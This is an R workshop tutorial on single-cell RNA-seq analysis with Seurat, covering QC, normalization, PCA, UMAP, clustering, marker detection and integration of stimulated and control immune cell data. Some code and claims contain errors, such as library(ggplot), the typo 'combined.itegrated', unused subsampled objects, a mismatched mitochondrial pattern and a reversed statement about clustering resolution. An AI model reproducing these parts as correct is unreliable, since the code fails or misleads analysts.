# Check if Bioconductor is installed. If not, install
if (!requireNamespace("BiocManager", quietly = TRUE))
install.packages("BiocManager")
# Install a necessary package for Seurat
BiocManager::install('multtest')
BiocManager::install('MAST')
# Install Seurat
install.packages('Seurat')
For this first part of the tutorial, we will be analyzing a small dataset of peripheral blood mononuclear cells (PBMC) provided by 10X Genomics. This is a data set of 2,700 single cells sequenced on Illumina NextSeq 500. You can get the raw data here.
When starting your RStudio session, please move to a separate folder for this project. I will assume you named it seurat_tutorial. Then please make a folder named data in the seurat_tutorial folder and place the downloaded 10X data in the data folder. It should be named pbmc3k_filtered_gene_bc_matrices.tar.gz. The file will need to be untarred.
setwd("~/")
Note that setwd
stands for set working directory.
Now that the environment is set up, we can start by loading the raw data into Seurat so that it is formatted to work with the rest of the Seurat toolset.
# Load the libraries
# Library for multtest; unneeded as Seurat should automatically load it
library(multtest)
# Library for Seurat, the scRNASeq analysis toolkit
library(Seurat)
# Library for MAST, the differential gene analysis algorithm for
# scRNASeq. Needs to be loaded to work in Seurat
library(MAST)
# Library for plotting in R
library(ggplot)
# Library for making heatmaps with Seurat
library(patchwork)
# Library Seurat uses on top of ggplot
# to plot things easily onto a grid
library(cowplot)
# Load the PBMC dataset
pbmc.data <- Read10X(data.dir = "./data/pbmc3k_filtered_gene_bc_matrices/filtered_gene_bc_matrices/hg19")
# Initialize the Seurat object with the raw (non-normalized data).
# counts : your loaded count data
# project : the name of this object
# min.cells : assumed lower threshold for cells
# min.features : assumed lower threhold for genes
pbmc <- CreateSeuratObject(
counts = pbmc.data,
project = "pbmc3k",
min.cells = 3,
min.features = 200
)
The data for the PBMC scRNASeq is split between three files:
The three combined work together to define a count matrix. Seurat then converts the data into a single object representing the count matrix. Now that the data has been loaded into a Seurat object, what does the data look like.
# Lets examine a few genes in the first thirty cells
pbmc.data[c("CD3D", "TCL1A", "MS4A1"), 1:30]
The .
values represent 0s (or no molecules detected).
scRNASeq is naturally sparse - i.e. we expect to see a lot of 0 values.
This has major effects on the type of analyses we can perform on the
data, which is what scRNASeq analyses attempt to deal with.
We will now perform some basic visualization of QC.
First, we will look at the overall distribution of:
We want to look at the mitochondrial genes because low-quality or dying cells tend to exhibit extensive mitchondrial contamination. So this needs to be treated as a variable to consider when normalizing the data (by a linear regression) later.
# Store the mitochondrial percentage into the Seurat object as meta data
# Here, we overwrite pbmc with the returned Seurat object from PercentageFeatureSet
# object : Seurat object
# pattern : regular expression pattern to match genes / features to
# In this case, we look for genes prepended with MT-
# '^' means only consider if the following characters are at the beginning
# col.name : Name of the new meta data to add to the Seurat object
pbmc <- PercentageFeatureSet(
object = pbmc,
pattern = "^MT-",
col.name = "percent.mt"
)
# Visualize QC metrics as a violin plot
# object : Seurat object
# features : features in Seurat object to display
# nFeature_RNA = # of genes detected in each cell
# nCount_RNA = # of total molecules detected in each cell
# percent.mt = percentage of detected genes that are mitochondrial
# ncol : # of columns to split the plots across
VlnPlot(
object = pbmc,
features = c("nFeature_RNA", "nCount_RNA", "percent.mt"),
ncol = 3)
Furthermore, it is good to visualize the relationship between these features. Note that the Pearson correlation (r value) is shown as the title for each plot.
# FeatureScatter is typically used to visualize feature-feature relationships, but can be used
# for anything calculated by the object, i.e. columns in object metadata, PC scores etc.
plot1 <- FeatureScatter(
pbmc,
feature1 = "nCount_RNA",
feature2 = "percent.mt"
)
plot2 <- FeatureScatter(
pbmc,
feature1 = "nCount_RNA",
feature2 = "nFeature_RNA"
)
plot1 + plot2
By default, we are going to use sctransform. This replaces Seurat's previous normalization method.
Outside of mitochondrial mapping percentage, there are a few other variables that can be included in the normalization. These have more importance in the non-sctransform normalization method shows later.
# run sctransform
# object : Seurat object
# vars.to.regress : variables to regress out
# verbose : printing messages and progress bars
pbmc <- SCTransform(
object = pbmc,
vars.to.regress = "percent.mt",
verbose = FALSE
)
It is no longer recommended to perform the older normalization method. It scales all the data to the same range, removing the effect of total cell RNA. scTransform preserves the information by the total cell RNA. However in the case that sctransform is not working or you have deliberate reason to want to use this normalization method, here is how perform the following.
Please do not actually run the following during this workshop.
From the above visuablized QC metrics, we will use these to filter cells.
These are typical filters to apply for most scRNASeq purposes, but there may be other concerns with your specific library that you may want to further filter on.
# Filter out the cells that fulfill any of the features
pbmc <- subset(
pbmc,
subset = nFeature_RNA > 200 & nFeature_RNA < 2500 & percent.mt < 5
)
Next,
we normalize the data on the passing cells. By default, the process is
to employ a global-scaling normalization method "LogNormalize." This
normalized the gene expression measurements for each cell by the total
expression, and multiplies this by a scale factor (10,000 by default) so
that data is in a reasonably sized value. This is important to avoid
floating point errors when dealing with very small numbers. Then the
results are log transformed. The normalized data is stored in the Seurat
object under 'data': pbmc[["RNA"]]@data
.
The result of LogNormalize is that all genes are reported as a proportion expression of total expression. This way, samples and cells can be compared directly without concern for variance in library size, etc.
The other options for normalization available are:
pbmc <- NormalizeData(
pbmc,
normalization.method = "LogNormalize",
scale.factor = 10000
)
We want to find a subset of features that exhibit high cell-to-cell variation in the data set - i.e. highly expressed in some cells, and lowly expressed in others - as focusing on these genes better powers downstream analysis. Theoretically, these highly variable genes are probably more indicative of biological function in single cell.
We will be pulling the top 2,000 most variable genes. There is no
particular reason for this number other than it generically captures
most variation for most data sets. However, you can alter this as you
see fit based on your data. By default, it is suggested to use vst
as the selection method because it is a fast method to estimate your gene variance.
# Pull the top 2,000 genes
# selection.method : methods to choose the variable features
# vst,
# nfeatures : number of features to select
pbmc <- FindVariableFeatures(
pbmc,
selection.method = "vst",
nfeatures = 2000
)
# Identify the 10 most highly variable genes
# to label in the below plot
top10 <- head(VariableFeatures(pbmc), 10)
# plot variable features with and without labels
plot1 <- VariableFeaturePlot(pbmc) + NoLegend()
plot2 <- LabelPoints(plot = plot1, points = top10, repel = TRUE) + NoLegend()
plot1 + plot2
Finally,
we scale the data. This step is to make it easier and faster for
dimensional reductions techniques (e.g. PCA) to do their calcuations.
The function ScaleData
works by:
This can be a very slow process.
all.genes <- rownames(pbmc)
pbmc <- ScaleData(pbmc, features = all.genes)
We are finished with the old normalization methods, and will be continuing from here with the results from sctransform.
One thing to note in differences from sctransform and the previous normalization method is that sctransform preserves the information from all genes, and not just the most variable genes.
We want to first decorrelate the data. This results in:
One advantage of using sctransform over the previous normalization method is that more PCA components can be used in downstream analyses. In the alternative and previously used normalization methodology, you will have to try to minimize the dimensions of PCA used. Whereas, sctransform can let you use a significant number of components - e.g. 40.
pbmc <- RunPCA(pbmc, verbose = FALSE)
Once we have the PCA information, we can start to do so preliminary analysis to gain some insights into what is globally driving variation across the cell population. One of the first things we can analyze is what genes are contributing the to each principal component - i.e. what are the most variant genes that are also correlated.
# This function visualizes the 'loadings' that go in the components of PCA
# - i.e. the gene contributions to that PC.
# dim : number of dimensions to display
# e.g. in PCA the components to dis
# reduction : the dimensionality reduction to display
# while in this example we use pca,
# we could use UMAP, TSNE, etc. that Seurat offers
VizDimLoadings(
pbmc,
dims = 1:2,
reduction = 'pca'
)
Then we can look at a simple scatter plot of the PCA components. This will give you an idea of clustering, the extent of variation in each component, and the extent of heterogeneity along these components. This last one can give you an idea of how many components to include in further downstream analyses.
DimPlot(pbmc, reduction = 'pca')
As a means to reducing the 'curse of dimensionality' for clustering, PCA is used to reduce the dimensionality. Thereby, the PCA components are used as input for further downstream analysis: t-SNE, UMAP, clustering, etc. However, it is a good idea to get an idea of the extent of the dimensionality still present after PCA. To this end we have a visualization of the PCA data to identify the extent of variance explained by PCA components.
A simple and less computationally taxing procedure is the elbow plot. Here, the principal components are ranked by percentage of variance explained, and this variance plotted. After the inflection point, there are diminishing returns of a component's contribution to explaining variance in the total dat set.
We want to ensure that the major PCA components are relatively low (under 15) so that downstream analyses can work effectively.
# We run the elbow plot for PCA
ElbowPlot(pbmc, ndims=15, reduction = 'pca')
Furhtermore, we explore the PCA heterogeniety further with a heatmap. The cells and genes are ordered according to their PCA scores. In the case of this example heatmap, we are going to limit the cells to the most extreme variance in the component. Heatmaps in general are very computationally taxing to run, so it is not recommended to run on the full gene and cell set.
Below, we create a heatmap of the first principal component only. See how the data tends to cluster.
# dims : the PCA components to display
# cells : default is null (i.e. all cells), otherwise top # of cells
# balanced : plot and equal number of genes with both + and - scores
DimHeatmap(
pbmc,
dims = 1,
cells = 500,
balanced = TRUE
)
Next, we may look consecutively at the components 1-8. Here we can see the degradation in the extent of variance contributed by genes in the further components values.
DimHeatmap(
pbmc,
dims = 1:8,
cells = 500,
balanced = TRUE
)
Then we want to further reduce dimensions - for visualization - with UMAP (additionally t-SNE can be performed in a similar manner). The outputs will be stored in the Seurat object under reductions. These outputs will be used for visualization, and not as input to downstream analysis with clustering.
# If you haven't installed UMAP, you can do so via reticulate::py_install(packages =
# 'umap-learn')
# For the input dims for UMAP, you can base it off your data - i.e. from your elbow plot
# dims : number of components from PCA to use
# in the example below, components 1 - 40
pbmc <- RunUMAP(
pbmc,
dims = 1:40,
seed.use = 42
)
# Note, that I have fixed the random seed to 42 so that all UMAPs produced
# this session should look the same.
# t-SNE is invoked similarly to UMAP.
# For now I have commented it out so we can focus on the rest of the downstream
# analysis, as the t-SNE process is fairly slow.
# pbmc <- runTSNE(pbmc, dims = 1:40)
# Plot the UMAP embeddings
DimPlot(pbmc, reduction = 'umap')
Additionally, the default values will only give you an approximate visualization of UMAP's projected low dimensional mapping. To get the best compression of the higher dimensional PCA inputs to UMAP, you will need to optimize parameters. However, this is outside the scope of this workshop. Suffice to say, the default configuration for UMAP will give you a rough estimate of the visualization of clusters, but there is the potential that it is not entirely optimal.
Here, we apply a graph-based clustering approach to cluster the cell from the data. This is the KNN-SNN based approach mentioned the other day. This method has two advantages:
However, one should optimize some of the parameters for best usage. Typically, it has been found that for a approximately 3K cell data set, the resolution parameter is best set for between 0.4 - 1.2. A smaller value, at 3K cells, is tuning the clustering process to identify more clusters. With larger data sets, a larger resolution value may be required for similar results. You can use your UMAP visualization to aid in the choice of optimal resolution paramter value.
# This is a two step process
# First, identify the neighbors for each cell, this is the KNN part
# FindNeighbors by default uses the PCA reduction
pbmc <- FindNeighbors(pbmc, reduction = 'pca', dims = 1:40)
# Second, partition the clusters from this KNN graph
pbmc <- FindClusters(pbmc, resolution = 0.5)
# Then visualize these clusters against the UMAP.
DimPlot(pbmc, reduction = 'umap', label = TRUE) + NoLegend()
Finally, we should perform a sanity check for the results of the clustering - if possible. If we know of some canonical biomarkers, we can check to ensure that the clustering - at least for the cells expressing the biomarker - makes sense.
# Visualize canonical marker genes on the sctransform embedding.
#
# object : Seurat object
# features : list of genes to plot
# pt.size : size of the individual dots representing each cell
# ncol : # of columns to display side by side
FeaturePlot(
object = pbmc,
features = c("CD8A", "GZMK", "CCL5", "CCR7"),
pt.size = 0.2,
ncol = 2
)
Once we have our clusters, we may be interested in identifying the marker genes for these clusters. Let us revisit cluster x from our UMAP plot. We know that it expresses CD8A fairly uniquely compared to other cell clusters. So what other genes define the expression profile of this cluster, and where does CD8A rank in that?
We are going to find the markers for cluster 1 by differential expression against the expression of all other cells not in cluster 1 - i.e. comparing cluster 1 against background. As for the statistical test, we are going to specifically invoke MAST. MAST is a differential gene expression analysis program specifically designed for scRNASeq. However, for simply finding marker genes from background, a Wilcoxon Ran Sum test may suffice if you need to run it for computational speed reasons.
# Find all biomarkers for cluster 1
# ident.1 : name of vector for cell names belonging to the first group
# in the comparison
# ident.2 : by default, all other cells - i.e. background
# if explicitly named, the other group to compare
# test.use : Denotes which statistical test to use.
cluster1.markers <- FindMarkers(
pbmc,
ident.1 = 1,
test.use = "MAST"
)
# Display the top genes
head(cluster1.markers, n = 5)
Again, it is a good idea to perform a sanity check on the results. Here we determine just how the distribution of gene expression for cluster 1's marker genes compares to the rest of the cells. So we create a violin plot to show the distribution.
VlnPlot(pbmc, features = c("MS4A1", "CD79A"))
Additionally, you can just find all markers for all clusters at once. This can then be used to get a more detailed overview of the top marker genes.
# find markers for every cluster compared to all remaining cells, report only the positive ones
# only.pos : only return the positive / significant genes
# min.pct : only test genes that are detected in a minimum fraction of cells in any population
# default = 0.1
pbmc.markers <- FindAllMarkers(
pbmc,
only.pos = TRUE,
min.pct = 0.25,
logfc.threshold = 0.25,
test.use = "wilcox"
)
# For speed reasons in this workshop, I am using the Wilcoxon Rank Sum test.
# This is the default DGE algorithm in Seurat.
# Sort all the markers by average log fold change
pbmc.markers.srt <- pbmc.markers[order(pbmc.markers$avg_logFC), ]
# Now apply the function head to all factors of 'cluster'
pbmc.markers.out <- by(pbmc.markers.srt, pbmc.markers.srt['cluster'], head, n=3)
# Let's take a look
pbmc.markers.out
#do.call("rbind", pbmc.markers.out)
Now that we have the markers for every cluster, we can see how these patterns present themselve in aggregate over all cells / clusters. We will look at everything in the top 10 against all the cells, grouped by their clusters.
# Select from each cluster the top 10 genes of differential expression
# Now again apply the function head to all factors of 'cluster'
pbmc.markers.out <- by(pbmc.markers.srt, pbmc.markers.srt['cluster'], head, n=10)
# by() outputs a list of the dataframes for each cluster
# we are going to merge them with rbind
# then get the unique vector of genes
top10.genes <- do.call("rbind", pbmc.markers.out)$gene
# Plot a heatmap of all of these top 10 genes
# features : list of genes to filter for
DoHeatmap(
pbmc,
features = top10.genes
) + NoLegend()
Now, we can use this differential analysis to identify what makes genes differentiate two clusters of cells. For example, cluster 1 and cluster 2 share CD8A expression. Considering that it is an important biomarker, we can use differential gene analysis to determine what genes differentiate the two clusters.
# Find all markers of genes from cluster 1 that are differentially expressed
# from cluster 2
# ident.1 : name of vector for cell names belonging to the first group
# in the comparison
# ident.2 : by default, all other cells - i.e. background
# if explicitly named, the other group to compare
# logfc.threshold
# : the minimum log fold change to consider for results of DGE
# default is 0.25
# test.use : Denotes which statistical test to use.
cluster1.markers <- FindMarkers(
pbmc,
ident.1 = 1,
ident.2 = 2,
logfc.threshold = 0.25,
test.use = "MAST"
)
# Display the top genes
head(cluster1.markers, n = 5)
Again, we can refer to the violin plots to confirm the extent of the differential expression of these genes.
# Violin plot
VlnPlot(pbmc, features = c("NKG7", "PF4"))
# Scatter plot
FeaturePlot(
pbmc,
features = c("NKG7", "PF4")
)
With this next section we aim to address two goals:
Here, we are going to load another 10X data set of two sets of cells: a control and a stimulated set exposed for 6 hours to IFN-beta. You can get the raw data here.
The first steps involve loading the data like normal. Then making a list (in R) of the objects, to which we apply normalization separately.
# Load the 10X data
stim.data <- Read10X(data.dir = "./data/stim")
control.data <- Read10X(data.dir = "./data/control")
# Load the 10X data into a Seurat object
stim <- CreateSeuratObject(counts = stim.data, project = "stim-control")
control <- CreateSeuratObject(counts = control.data, project = "stim-control")
# We are going to reduce this 14K cell data set to 3K
# Identify a random assortment of cells
cells.to.sample <- sample(rownames(stim@meta.data), 3000)
# Subset the 14K dataset for the randomly selected 3K cells
stim.small <- subset(stim, cells = cells.to.sample)
# Repeat for the control
cells.to.sample <- sample(rownames(control@meta.data), 3000)
control <- subset(control, cells = cells.to.sample)
# Annotate the objects with the type, by a user-defined group name
control$stim <- "CONTROL"
stim$stim <- "STIM"
# Merge the Seurat objects into one object
immune.combined <- merge(
control,
y = c(stim),
add.cell.ids = c("CONTROL", "STIM"),
project = "STIM-CONTROL"
)
# Split the object by stim
ifnb.list <- SplitObject(immune.combined, split.by = "stim")
# Then, for each split object, normalize each data set individually
# We are going to use a flat normalization method for
ifnb.list <- lapply(X = ifnb.list, FUN = function(x) {
x <- NormalizeData(x)
x <- FindVariableFeatures(x, selection.method = "vst", nfeatures = 2000)
})
Once we have normalized each file separately, we can move ahead with integration of the normalized points.
# Find integration points
immune.anchors <- FindIntegrationAnchors(object.list = ifnb.list, dims = 1:20)
# Integrate the objects based on the determined anchor points.
# This will override the previous immune.combined object.
immune.combined <- IntegrateData(anchorset = immune.anchors, dims = 1:20)
Once we have an integrated data set, we can do our typical downstream analysis.
# This points Seurat to use the integrated data set, and not the
# individually normalized data
DefaultAssay(immune.combined) <- "integrated"
# Run the standard workflow for visualization and clustering
# We have to scale the data with a non-sctransform results first
# (not stricly necessary, but it greatly aids PCA calculation)
immune.combined <- ScaleData(immune.combined, verbose = FALSE)
# PCA
immune.combined <- RunPCA(immune.combined, npcs = 30, verbose = FALSE)
# UMAP and Clustering
# With this normalization method, it is important to send fewer dimensions of
# PCA to UMAP and clustering.
# sctransform is much more lenient to using more dimensions (up to 40).
immune.combined <- RunUMAP(immune.combined, reduction = "pca", dims = 1:20)
immune.combined <- FindNeighbors(immune.combined, reduction = "pca", dims = 1:20)
immune.combined <- FindClusters(immune.combined, resolution = 0.5)
# Visualization
p1 <- DimPlot(immune.combined, reduction = "umap", group.by = "stim")
p2 <- DimPlot(immune.combined, reduction = "umap", label = TRUE)
plot_grid(p1, p2, ncol = 1)
# To visualize the two conditions side-by-side, we can use the split.by
# argument to show each condition colored by cluster.
DimPlot(immune.combined, reduction = "umap", split.by = "stim")
We
may first want to identify what genes are not changed by the stimulus
condition. Seurat offers software to do this via the function FindConservedMarkers
. Please note that this uses a different algorithmic methods from FindMarkers
and lacks MAST as an option, so we are left with more traditional
statistical approaches to dealing with single cell data. However, it is
still useful for identifying genes that did not change between
conditions.
DefaultAssay(immune.combined) <- "RNA"
nk.markers <- FindConservedMarkers(
immune.combined,
ident.1 = 7,
grouping.var = "stim",
verbose = FALSE
)
head(nk.markers)
# Visualize some of these markers and the clusters they belong to
# min.cutoff : minimum threshold for showing features (q9 = quantile 9)
FeaturePlot(
immune.combined,
features = c(
"CD3D", "SELL", "CREM", "CD8A", "GNLY", "CD79A", "FCGR3A", "CCL2", "PPBP"
),
min.cutoff = "q9"
)
Now that we "know" what these cell types belonging to each cluster are, we can rename the cluster IDs. This simplifies remembering what cluster is what.
# Rename the clusters
immune.combined <- RenameIdents(
immune.combined,
`0` = "CD14 Mono",
`1` = "CD4 Naive T",
`2` = "CD4 Memory T",
`3` = "CD16 Mono",
`4` = "B",
`5` = "CD8 T",
`6` = "T activated",
`7` = "NK",
`8` = "DC",
`9` = "B Activated",
`10` = "Mk",
`11` = "pDC",
`12` = "Eryth",
`13` = "Mono/Nk Doublets"
)
# Let's visualize the clusters with their new labels
DimPlot(immune.combined, label = TRUE)
Additionally, a dotplot can be used with split.by
to get
a better overall sense of the gene expression across cell types than
looking at a scatterplot of expression. The scatter plot can be
difficult to ascertain non-binary shifts in expression.
# We want to add the new cell types as factors to the Seurat object
Idents(immune.combined) <- factor(
Idents(immune.combined),
levels = c(
"pDC", "Eryth", "Mk", "DC",
"CD14 Mono", "CD16 Mono", "B Activated", "B",
"CD8 T", "NK", "T activated", "CD4 Naive T",
"CD4 Memory T"
)
)
# Tell what markers for DotPlot to plot
markers.to.plot <- c(
"CD3D", "CREM", "HSPH1", "SELL", "GIMAP5", "CACYBP",
"GNLY", "NKG7", "CCL5", "CD8A", "MS4A1", "CD79A",
"MIR155HG", "NME1", "FCGR3A", "VMO1", "CCL2", "S100A9",
"HLA-DQA1", "GPR183", "PPBP", "GNG11", "HBA2", "HBB",
"TSPAN13", "IL3RA", "IGJ"
)
# Plot the dot plot
DotPlot(
immune.combined,
features = rev(markers.to.plot),
cols = c("blue", "red"),
dot.scale = 8,
split.by = "stim"
) + RotatedAxis()
Now we want to perform a statistical analysis of the differences. Again, we find ourselves using Seurat's FindMarkers
tool to handle this. We will want to merge the data labels into a
single label encompassing both condition and cell type. Then we can
perform differential gene expression. This is because Seurat was
originally designed around a single dat set, so combining data sets must
work around the construction of the code usage.
# Take all the celltypes and combine them with the stimulated condition
# and add under celltype.stim
# Example: B_STIM
immune.combined$celltype.stim <- paste(Idents(immune.combined), immune.combined$stim, sep = "_")
# Create a celltype with all the identifiers in immune.combined
immune.combined$celltype <- Idents(immune.combined)
# Relabel the identifiers with celltype.stim identifiers
Idents(immune.combined) <- "celltype.stim"
# Run the differential expression response on the selected identifiers
b.interferon.response <- FindMarkers(
immune.combined,
ident.1 = "B_STIM",
ident.2 = "B_CONTROL",
test.use = "MAST",
verbose = FALSE
)
# Let us view the top results.
head(b.interferon.response, n = 15)
We can now visually explore the underlying distribution of expression for these statistically significant genes with scatterplots or violin plots of their expression across conditions.
# Scatter plot
FeaturePlot(
immune.combined,
features = c("GNLY", "IFI6"),
split.by = "stim",
max.cutoff = 3,
cols = c("grey", "red")
)
# Violin plot
plots <- VlnPlot(
immune.combined,
features = c("LYZ", "ISG15", "CXCL10"),
split.by = "stim",
group.by = "celltype",
pt.size = 0,
combine = FALSE
)
CombinePlots(plots = plots, ncol = 1)
Above, we used normalization assuming a fixed scale. sctransform is a more elegant and pertinent solution to normalization, as shown above in the single data set examples. However, integration with sctransform is a fairly new feature added. In our experience, it can be extremely computationally expensive, depending on the data set. In our case with the stimulated vs control experiment, it falls under the latter. Because of the computational limits of the workshop, we used the other methodology.
However, we are providing you with the code, if you want to try it on other data.
# Load the 10X data
stim.data <- Read10X(data.dir = "./data/stim")
control.data <- Read10X(data.dir = "./data/control")
# Load the 10X data into a Seurat object
stim <- CreateSeuratObject(counts = stim.data, project = "stim-control")
control <- CreateSeuratObject(counts = control.data, project = "stim-control")
# We are going to reduce this 14K cell data set to 3K
# Identify a random assortment of cells
cells.to.sample <- sample(rownames(stim@meta.data), 3000)
# Subset the 14K dataset for the randomly selected 3K cells
stim.small <- subset(stim, cells = cells.to.sample)
# Repeat for the control
cells.to.sample <- sample(rownames(control@meta.data), 3000)
control <- subset(control, cells = cells.to.sample)
In the above code, we loaded the data into separate Seurat object. We
labeled them according to the same project. Next, we are going to
combine the data sets into one object, and label each data set
accordingly. Note that the new object will override the project names
from before. Additionally, I used the format y = c(stim)
, because this can be generalized to y = c(stim, stim2, stim3)
or however many sets you want to merge. You would then add more IDs to the object: add.cell.ids = c("CONTROL", "STIM", "STIM2", "STIM3")
.
# Annotate the objects with the type, by a user-defined group name
control$cond <- "CONTROL"
stim$cond <- "STIM"
# Merge the Seurat objects into one object
combined <- merge(
control,
y = c(stim),
add.cell.ids = c("CONTROL", "STIM"),
project = "STIM-CONTROL"
)
Now that they are merged together in one object, we can normalize the data and start visualizations. Note that now the visualizations are split by or color labeled by the cell IDs that we annotated.
# Flag the mitochondrial genes
combined <- PercentageFeatureSet(combined, pattern = "^Mt-", col.name = "percent.mt")
# Visualize QC metrics as a violin plot
VlnPlot(combined, features = c("nFeature_RNA", "nCount_RNA", "percent.mt"), ncol = 3)
# Visualize the feature-feature relationship with scatter plots
plot1 <- FeatureScatter(combined, feature1 = "nCount_RNA", feature2 = "percent.mt")
plot2 <- FeatureScatter(combined, feature1 = "nCount_RNA", feature2 = "nFeature_RNA")
CombinePlots(plots = list(plot1, plot2))
Now, we plan to make a new combined
object, as to
perform a comparison across the data sets, we have to integrate them
together - i.e. we need to find anchor points of comparison between the
data sets. To do this, the process is roughly as follows:
This step is of particular importance when working with different technologies being merged together - i.e. comparing 10X prepared samples with inDrop prepared samples. However, even within the same technologies it is good practice, even if not strictly as necessary.
# Remake the new combined object so 'state' is clean
combined <- merge(
control,
y = c(stim),
add.cell.ids = c("CONTROL", "STIM"),
project = "STIM-CONTROL"
)
# Split the object into a list of Seurat objects
combined.list <- SplitObject(combined, split.by = 'cond')
# Now we sctransform each data set individually
for (i in 1 : length(combined.list)) {
combined.list[[i]] <- SCTransform(combined.list[[i]], verbose = FALSE)
}
# Prepare the features for anchor identification
combined.features <- SelectIntegrationFeatures(object.list = combined.list, nfeatures = 2000)
# necessary to allow R to handle the size of the data
options(future.globals.maxSize=891289600)
combined.list <- PrepSCTIntegration(
object.list = combined.list,
anchor.features = combined.features,
verbose = FALSE
)
# Identify the anchors and integrate the datasets.
# Here we must re-normalize with sctransform via 'SCT' parameter
combined.anchors <- FindIntegrationAnchors(
object.list = combined.list,
normalization.method = "SCT",
anchor.features = combined.features,
verbose = FALSE
)
combined.integrated <- IntegrateData(
anchorset = combined.anchors,
normalization.method = "SCT",
verbose = FALSE
)
Once we have normalized the data, we can perform our downstream analyses as before: PCA, UMAP, and clustering.
# Dimensionality reduction with PCA
combined.integrated <- RunPCA(combined.integrated, verbose = FALSE)
# Run UMAP
combined.integrated <- RunUMAP(
combined.integrated,
dims = 1:30,
verbose = FALSE
)
# Cluster the cells
combined.integrated <- FindNeighbors(
combined.integrated,
dims = 1:30,
verbose = FALSE
)
combined.integrated <- FindClusters(
combined.integrated,
verbose = FALSE
)
# Plot the UMAP of the combined data
DimPlot(
combined.integrated,
reduction="umap",
label = TRUE
) + NoLegend()
However, these are combined data sets, and with the way we annotated the Seurat object, we can split these splits by their annotations. In the below example, we are going to display these plots by annotation in two ways:
# First, plot the UMAP but with the conditions split into an overlay
DimPlot(combined.integrated, reduction = "umap", group.by = "cond")
# Then, we plot the UMAP but with the conditions split into separate side
# by side plots
DimPlot(combined.integrated, reduction = "umap", split.by = "cond")
Additionally, we can chain both split.by
and group.by
for cases where we have multiple annotations.
We can then move forward with identifying canonical biomarkers and how they may differ between conditions.
FeaturePlot(combined.integrated, features = c("CD8A"), split.by = "cond")
We
may first want to identify what genes are not changed by the stimulus
condition. Seurat offers software to do this via the function FindConservedMarkers
. Please note that this uses a different algorithmic methods from FindMarkers
and lacks MAST as an option, so we are left with more traditional
statistical approaches to dealing with single cell data. However, it is
still useful for identifying genes that did not change between
conditions.
DefaultAssay(combined.integrated) <- "RNA"
nk.markers <- FindConservedMarkers(
combined.integrated,
ident.1 = 7,
grouping.var = "cond",
verbose = FALSE
)
head(nk.markers)
# We can then visualize the expression differences between the two conditions for some genes
FeaturePlot(combined.integrated, features = c("CD8A", "GNLY", "CD79A", "FCGR3A",
"CCL2", "PPBP"), min.cutoff = "q9", split.by = "cond")
Because this is a previously published data set, we can know some things about the data. This provides an example of how one can annotate your clusters with more human readable notations than "cluster 1", "cluster 2", etc.
combined.integrated <- RenameIdents(combined.integrated, `0` = "CD14 Mono", `1` = "CD4 Naive T", `2` = "CD4 Memory T",
`3` = "CD16 Mono", `4` = "B", `5` = "CD8 T", `6` = "T activated", `7` = "NK", `8` = "DC", `9` = "B Activated",
`10` = "Mk", `11` = "pDC", `12` = "Eryth", `13` = "Mono/Mk Doublets")
DimPlot(combined.integrated, label = TRUE)
A better overview of the expression across clusters and conditions can be done with a dot plot. This provides us a simple graphic showcasing the expressions ordered across the multiple cell types.
Idents(combined.integrated) <- factor(
Idents(combined.integrated),
levels = c(
"Mono/Mk Doublets", "pDC", "Eryth", "Mk", "DC",
"CD14 Mono", "CD16 Mono", "B Activated", "B", "CD8 T",
"NK", "T activated", "CD4 Naive T", "CD4 Memory T"
)
)
markers.to.plot <- c(
"CD3D", "CREM", "HSPH1", "SELL", "GIMAP5", "CACYBP", "GNLY",
"NKG7", "CCL5", "CD8A", "MS4A1", "CD79A", "MIR155HG", "NME1",
"FCGR3A", "VMO1", "CCL2", "S100A9", "HLA-DQA1", "GPR183",
"PPBP", "GNG11", "HBA2", "HBB", "TSPAN13", "IL3RA", "IGJ"
)
DotPlot(
combined.integrated,
features = rev(markers.to.plot),
cols = c("blue", "red"),
dot.scale = 8,
split.by = "cond"
) + RotatedAxis()
Now we get to the typical central question for a single cell conditional experiment. How do individual cell types differ across some condition. First thing we will do is visually inspect how the gene expression compares beween the two conditions with a scatterplot of gene expression between the two conditions.
library(ggplot2)
library(cowplot)
theme_set(theme_cowplot())
# First subset just the CD4 T cell expressions
t.cells <- subset(immune.combined, idents = "CD4 Naive T")
Idents(t.cells) <- "cond"
# Get the average expression for genes across the T cells for all genes
avg.t.cells <- log1p(AverageExpression(t.cells, verbose = FALSE)$RNA)
avg.t.cells$gene <- rownames(avg.t.cells)
# Then subset just the CD14 Mono cell expressions
cd14.mono <- subset(immune.combined, idents = "CD14 Mono")
Idents(cd14.mono) <- "cond"
# Again, gets the average expression for all genes in the cell type
avg.cd14.mono <- log1p(AverageExpression(cd14.mono, verbose = FALSE)$RNA)
avg.cd14.mono$gene <- rownames(avg.cd14.mono)
# Here we are going to select a few genes that we already know are
# differentially expressed to highlight them
genes.to.label = c("ISG15", "LY6E", "IFI6", "ISG20", "MX1", "IFIT2", "IFIT1", "CXCL10", "CCL8")
# Create a scatter plot of the CD4 T cells, CONTROL expression on the
# x-axis and STIM on the y-axis
p1 <- ggplot(avg.t.cells, aes(CONTROL, STIM)) + geom_point() + ggtitle("CD4 Naive T Cells")
p1 <- LabelPoints(plot = p1, points = genes.to.label, repel = TRUE)
# Create a scatter plot of the CD14 Mono cells, CONTROL expression on the
# x-axis and STIM on the y-axis
p2 <- ggplot(avg.cd14.mono, aes(CONTROL, STIM)) + geom_point() + ggtitle("CD14 Monocytes")
p2 <- LabelPoints(plot = p2, points = genes.to.label, repel = TRUE)
# Combine the two plots into a side by side grid and display
plot_grid(p1, p2)
Let us find the markers between B cells stimulated and B cells under control.
# Create new labels of "CD14 Mono_CONTROL", "CD14 Mono_STIM",
# "CD4 Naive T_CONTROL", etc.
combined.integrated$celltype.stim <- paste(
Idents(combined.integrated),
combined.integrated$cond,
sep = "_"
)
# Then we merge cell typings plus their condition into a
# new ident under celltype.stim
combined.integrated$celltype <- Idents(combined.integrated)
Idents(combined.integrated) <- "celltype.stim"
# Now we find some markers
interferon.response <- FindMarkers(
combined.integrated,
ident.1 = "B_STIM",
ident.2 = "B_CONTROL",
test.use = "MAST",
verbose = FALSE
)
head(interferon.response, n = 15)
Now let's compare one of the differentially expressed genes response visually compared to a conserved gene we identified previously. We will start with an overlay of the gene expression over the scatter plot of clusters.
FeaturePlot(
combined.itegrated,
features = c("CD3D", "IFI6"),
split.by = "stim",
max.cutoff = 3,
cols = c("grey", "red")
)
We can also visualize the distribution of expression more clearly with a violin plot.
plots <- VlnPlot(
combined.integrated,
features = c("CD3D", "IFI6"),
split.by = "cond",
group.by = "celltype",
pt.size = 0,
combine = FALSE)
CombinePlots(plots = plots, ncol = 1)


Class: '1mm MicroProbe'
